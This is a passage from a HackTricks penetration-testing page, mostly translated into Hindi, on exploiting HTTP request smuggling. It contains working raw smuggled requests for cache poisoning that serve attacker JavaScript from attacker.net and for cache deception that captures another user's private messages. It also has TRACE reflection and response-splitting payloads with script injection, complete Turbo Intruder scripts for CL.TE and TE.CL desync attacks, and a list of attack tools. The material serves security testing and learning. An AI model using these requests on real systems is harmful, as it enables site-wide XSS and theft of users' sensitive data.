पहले, हमने देखा कि सर्वर की प्रतिक्रियाओं को 404 त्रुटि लौटाने के लिए कैसे बदला जा सकता है (देखें बुनियादी उदाहरण)। इसी तरह, सर्वर को /static/include.js के लिए अनुरोध के जवाब में /index.html सामग्री प्रदान करने के लिए धोखा देना संभव है। परिणामस्वरूप, /static/include.js की सामग्री को कैश में /index.html की सामग्री से बदल दिया जाता है, जिससे /static/include.js उपयोगकर्ताओं के लिए अनुपलब्ध हो जाता है, जो संभावित रूप से सेवा से इनकार (DoS) की ओर ले जा सकता है।

यह तकनीक विशेष रूप से शक्तिशाली हो जाती है यदि कोई ओपन रीडायरेक्ट भेद्यता खोजी जाती है या यदि ओपन रीडायरेक्ट के लिए ऑन-साइट रीडायरेक्ट होता है। ऐसी भेद्यताओं का उपयोग /static/include.js की कैश की गई सामग्री को हमलावर के नियंत्रण में एक स्क्रिप्ट के साथ बदलने के लिए किया जा सकता है, जिससे सभी ग्राहकों के खिलाफ एक व्यापक क्रॉस-साइट स्क्रिप्टिंग (XSS) हमले की अनुमति मिलती है जो अपडेट की गई /static/include.js का अनुरोध कर रहे हैं।

नीचे कैश पॉइज़निंग के शोषण को ओपन रीडायरेक्ट के लिए ऑन-साइट रीडायरेक्ट के साथ मिलाकर एक चित्रण दिया गया है। उद्देश्य है /static/include.js की कैश सामग्री को हमलावर द्वारा नियंत्रित JavaScript कोड प्रदान करने के लिए बदलना:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

नोट करें कि एम्बेडेड अनुरोध /post/next?postId=3 को लक्षित कर रहा है। यह अनुरोध /post?postId=4 पर पुनर्निर्देशित किया जाएगा, Host header value का उपयोग करके डोमेन निर्धारित करने के लिए। Host header को बदलकर, हमलावर अनुरोध को अपने डोमेन पर पुनर्निर्देशित कर सकता है (on-site redirect to open redirect).

सफल socket poisoning के बाद, /static/include.js के लिए एक GET request शुरू किया जाना चाहिए। यह अनुरोध पूर्व के on-site redirect to open redirect अनुरोध द्वारा संदूषित होगा और हमलावर द्वारा नियंत्रित स्क्रिप्ट की सामग्री लाएगा।

इसके बाद, /static/include.js के लिए कोई भी अनुरोध हमलावर की स्क्रिप्ट की कैश की गई सामग्री को सेवा देगा, प्रभावी रूप से एक व्यापक XSS हमले को लॉन्च करेगा।

Using HTTP request smuggling to perform web cache deception

वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी में क्या अंतर है?
वेब कैश पॉइज़निंग में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री संग्रहीत करने के लिए मजबूर करता है, और यह सामग्री अन्य एप्लिकेशन उपयोगकर्ताओं को कैश से सेवा दी जाती है।
वेब कैश धोखाधड़ी में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री कैश में संग्रहीत करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।

हमलावर एक स्मगल्ड अनुरोध तैयार करता है जो संवेदनशील उपयोगकर्ता-विशिष्ट सामग्री लाता है। निम्नलिखित उदाहरण पर विचार करें:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

यदि यह स्मगल किया गया अनुरोध स्थिर सामग्री (जैसे, /someimage.png) के लिए अभिप्रेत कैश प्रविष्टि को विषाक्त करता है, तो पीड़ित का संवेदनशील डेटा /private/messages से स्थिर सामग्री के कैश प्रविष्टि के तहत कैश किया जा सकता है। परिणामस्वरूप, हमलावर संभावित रूप से इन कैश किए गए संवेदनशील डेटा को पुनः प्राप्त कर सकता है।

HTTP अनुरोध स्मगलिंग के माध्यम से TRACE का दुरुपयोग

इस पोस्ट में सुझाव दिया गया है कि यदि सर्वर में TRACE विधि सक्षम है, तो इसे HTTP अनुरोध स्मगलिंग के साथ दुरुपयोग करना संभव हो सकता है। इसका कारण यह है कि यह विधि सर्वर को भेजे गए किसी भी हेडर को प्रतिक्रिया के शरीर के भाग के रूप में परावर्तित करेगी। उदाहरण के लिए:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

ऐसी प्रतिक्रिया भेजी जाएगी:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

An example on how to abuse this behaviour would be to smuggle first a HEAD request. This request will be responded with only the headers of a GET request (Content-Type among them). And smuggle immediately after the HEAD a TRACE request, which will be reflecting the sent data. As the HEAD response will be containing a Content-Length header, the response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data in the response. This response will be sent to the next request over the connection, so this could be used in a cached JS file for example to inject arbitrary JS code.

Abusing TRACE via HTTP Response Splitting

Continue following this post is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to control some reflected data in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.

Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

ये प्रतिक्रियाएँ उत्पन्न करेगा (ध्यान दें कि HEAD प्रतिक्रिया में एक Content-Length है जो TRACE प्रतिक्रिया को HEAD शरीर का हिस्सा बनाता है और जब HEAD Content-Length समाप्त होता है, तो एक मान्य HTTP प्रतिक्रिया चुराई जाती है):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP अनुरोध स्मगलिंग को HTTP प्रतिक्रिया असंगति के साथ हथियार बनाना

क्या आपने कुछ HTTP अनुरोध स्मगलिंग कमजोरियों का पता लगाया है और आप नहीं जानते कि इसका लाभ कैसे उठाना है। इन अन्य शोषण विधियों को आजमाएं:

HTTP Response Smuggling / Desync

अन्य HTTP अनुरोध स्मगलिंग तकनीकें

ब्राउज़र HTTP अनुरोध स्मगलिंग (क्लाइंट साइड)

Browser HTTP Request Smuggling

HTTP/2 डाउनग्रेड में अनुरोध स्मगलिंग

Request Smuggling in HTTP/2 Downgrades

टर्बो इंट्रूडर स्क्रिप्ट्स

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

से: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Tools

https://github.com/anshumanpattnaik/http-request-smuggling
https://github.com/PortSwigger/http-request-smuggler
https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
https://github.com/defparam/smuggler
https://github.com/Moopinger/smugglefuzz
https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: यह उपकरण एक व्याकरण-आधारित HTTP Fuzzer है जो अजीब अनुरोध स्मगलिंग विसंगतियों को खोजने के लिए उपयोगी है।

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

PreviousHTTP Connection Request Smuggling NextBrowser HTTP Request Smuggling

Last updated 1 month ago